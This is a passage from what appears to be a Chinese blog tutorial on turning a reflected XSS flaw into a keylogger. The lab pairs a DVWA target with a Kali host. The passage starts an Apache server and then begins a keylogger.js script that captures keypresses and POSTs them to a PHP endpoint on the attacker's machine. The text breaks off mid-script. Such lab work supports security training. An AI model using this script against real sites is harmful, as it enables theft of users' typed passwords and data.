利用XSS漏洞实现键盘记录器

最新推荐文章于 2025-03-28 08:30:00 发布

原创

最新推荐文章于 2025-03-28 08:30:00 发布 · 1.5k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#XSS #Web安全

利用XSS漏洞实现键盘记录器

本实验以反射性的XSS漏洞为例
实验环境：dvwa靶机(ip:192.168.135.140)
kali linux(ip:192.168.135.138)

1.首先开启在kail上开启apache服务

/etc/init.d/apache2 start

在firefox地址栏输入： http://192.168.135.138 或者 http://localhost 检测apache是否开启,看见以下即可
在这里插入图片描述
2.在/var/www/html创建三个文件
(1)keylogger.js【远程js脚本文件】

document.onkeypress = function(evt) {
    evt = evt || window.event
    key = String.fromCharCode(evt.charCode)
    if (key) {
        var http = new XMLHttpRequest();
        var param = encodeURI(key)
        http.open("POST","http://192.168.135.138/keylogger.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send(